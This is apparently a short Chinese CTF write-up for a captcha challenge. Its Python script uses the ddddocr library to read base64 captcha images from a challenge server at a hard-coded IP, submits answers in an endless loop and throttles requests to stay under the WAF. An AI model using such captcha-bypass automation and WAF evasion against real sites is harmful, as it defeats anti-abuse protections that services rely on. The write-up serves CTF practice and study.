前言
关键字:[验证码|ocr]
感谢@Hel1antHu5
的指点。
题解
找不出key,所以只能跑验证码。
然后尝试百度ocr,成功率低的离谱。
还好@Hel1antHu5
在github找出了个十分好用的验证码识别工具并写出了脚本。
import time
import requests
import re
from base64 import b64decode
import ddddocr
import onnxruntime
ocr = ddddocr.DdddOcr(use_gpu=True)
sess = requests.Session()
errorNumber = 0
onnxruntime.set_default_logger_severity(3)
def get_captcha_code(text):
png = re.findall(r"<img src=data:image/jpeg;base64,(.*?)></src>", text)[0]
with open("temp.png", "wb") as fp:
fp.write(b64decode(png.encode()))
with open('temp.png', 'rb') as f:
img_bytes = f.read()
res = ocr.classification(img_bytes)
return res.lower()
def post_captcha_code(code):
if len(code) != 4:
return
global errorNumber
response = sess.post("http://110.42.233.91:88/access", data={
"v_code": code
})
if response.text == "e":
errorNumber = errorNumber + 1
# print(response.text, errorNumber)
def get_number(text):
try:
result = int(re.findall("you have done (.*?) times", text)[0])
if result > 999:
print(text)
else:
print(f"[+] success {result}")
except:
print(text)
while True:
response = sess.get("http://110.42.233.91:88/access")
# print(response.text)
get_number(response.text)
code = get_captcha_code(response.text)
print(code)
post_captcha_code(code)
time.sleep(1.2)
然后就是和机器比命长了。
跑太快容易触发waf。